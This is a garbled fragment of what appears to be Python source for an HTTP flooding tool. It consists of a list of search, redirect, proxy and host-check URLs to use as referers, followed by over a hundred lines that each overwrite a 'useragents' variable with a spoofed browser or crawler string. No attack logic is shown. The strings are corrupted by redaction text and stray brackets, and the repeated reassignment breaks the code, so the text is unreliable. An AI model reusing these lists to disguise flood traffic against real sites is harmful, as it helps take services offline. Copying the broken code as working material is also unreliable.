"https://play.google.com/store/search?q=" "http://coccoc.com/search#query=" "https://w...content-available-to-author-only...m.vn/?gws_rd=ssl#q=", "http://y...content-available-to-author-only...x.ru/yandsearch?text=%D1%%D2%?=g.sql()81%..", "http://content-available-to-author-only.com/profile.php?redirect=", "http://w...content-available-to-author-only...y.com/search/results?q=", "http://y...content-available-to-author-only...x.ru/yandsearch?text=", "http://g...content-available-to-author-only...l.ru/search?mail.ru=1&q=", "http://n...content-available-to-author-only...r.ru/search?=btnG?=%D0?2?%D0?2?%=D0..", "http://r...content-available-to-author-only...a.org/wiki/%D0%9C%D1%8D%D1%x80_%D0%..", "http://r...content-available-to-author-only...o.com/search;_yzt=?=A7x9Q.bs67zf..", "http://r...content-available-to-author-only...o.com/search;?_query?=l%t=?=?A7x..", "http://g...content-available-to-author-only...l.ru/search?gay.ru.query=1&q=?abc.r..", "http://n...content-available-to-author-only...r.ru/search?btnG=%D0%9D%?D0%B0%D0%B..", "http://w...content-available-to-author-only...e.ru/url?sa=t&rct=?j&q=&e..", "http://h...content-available-to-author-only...u.com/searchResult?keywords=", "http://w...content-available-to-author-only...g.com/search?q=", "https://w...content-available-to-author-only...x.com/yandsearch?text=", "https://d...content-available-to-author-only...o.com/?q=", "http://w...content-available-to-author-only...k.com/web?q=", "http://s...content-available-to-author-only...l.com/aol/search?q=", "https://w...content-available-to-author-only...m.nl/vaste-onderdelen/zoeken/?zoeken_term=", "http://v...content-available-to-author-only...3.org/feed/check.cgi?url=", "http://h...content-available-to-author-only...r.com/check_page/?furl=", "http://w...content-available-to-author-only...r.com/url/translation.aspx?direction=er&sourceURL=", "http://j...content-available-to-author-only...3.org/css-validator/validator?uri=", "https://a...content-available-to-author-only...o.com/rss?url=", "http://e...content-available-to-author-only...l.com/search?q=", "https://s...content-available-to-author-only...y.com/market/search?q=", "http://f...content-available-to-author-only...o.com/search?q=", "http://w...content-available-to-author-only...t.com/site/pinterest.com/search?q=", "http://e...content-available-to-author-only...e.net/wow/en/search?q=", "http://e...content-available-to-author-only...l.com/search?q=", "http://c...content-available-to-author-only...n.org/search?q=", "http://t...content-available-to-author-only...t.edu/search?q=", "http://w...content-available-to-author-only...m.tv/search?q=", "http://w...content-available-to-author-only...d.com/search?q=", "http://f...content-available-to-author-only...a.com/search?q=", "http://i...content-available-to-author-only...h.io/search?q=", "http://j...content-available-to-author-only...s.com/jobs/search?q=", "http://t...content-available-to-author-only...p.org/search?q=", "http://w...content-available-to-author-only...m.vn/news/vn/search&q=", "https://play.google.com/store/search?q=", "http://w...content-available-to-author-only...s.gov/@@tceq-search?q=", "http://w...content-available-to-author-only...t.com/search?q=", "http://w...content-available-to-author-only...r.com/events/search?q=", "https://c...content-available-to-author-only...e.org/search?q=", "http://j...content-available-to-author-only...s.com/search?q=", "http://j...content-available-to-author-only...g.com/search?q=", "https://w...content-available-to-author-only...t.com/search/?q=", "http://m...content-available-to-author-only...r.org/search?q=", "https://w...content-available-to-author-only...s.com/search?q=", "http://w...content-available-to-author-only...s.uk/search?q=", "http://w...content-available-to-author-only...q.com/search?q=" "http://www.search.com/search?q=" "https://add.my.yahoo.com/rss?url=" "https://images2-focus-opensocial.googleusercontent.com/gadgets/proxy?container=focus&url=" "https://www.facebook.com/l.php?u=", "https://www.facebook.com/l.php?u=", "https://drive.google.com/viewerng/viewer?url=", "http://www.google.com/translate?u=", "http://downforeveryoneorjustme.com/", "http://www.slickvpn.com/go-dark/browse.php?u=", "https://www.megaproxy.com/go/_mp_framed?", "http://scanurl.net/?u=", "http://www.isup.me/", "http://check-host.net/check-tcp?host=", "http://check-host.net/check-dns?host=", "http://check-host.net/check-ping?host=", "http://www.currentlydown.com/", "http://check-host.net/check-ping?host=", "http://check-host.net/check-tcp?host=", "http://check-host.net/check-dns?host=", "http://check-host.net/ip-info?host=", "https://safeweb.norton.com/report/show?url=", "http://www.webproxy.net/view?q=", "http://www.online-translator.com/url/translation.aspx?direction=er&sourceURL=", "https://anonysurfer.com/a2/index.php?q=", "http://analiz.web.tr/en/www/", "https://plus.google.com/share?url="] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 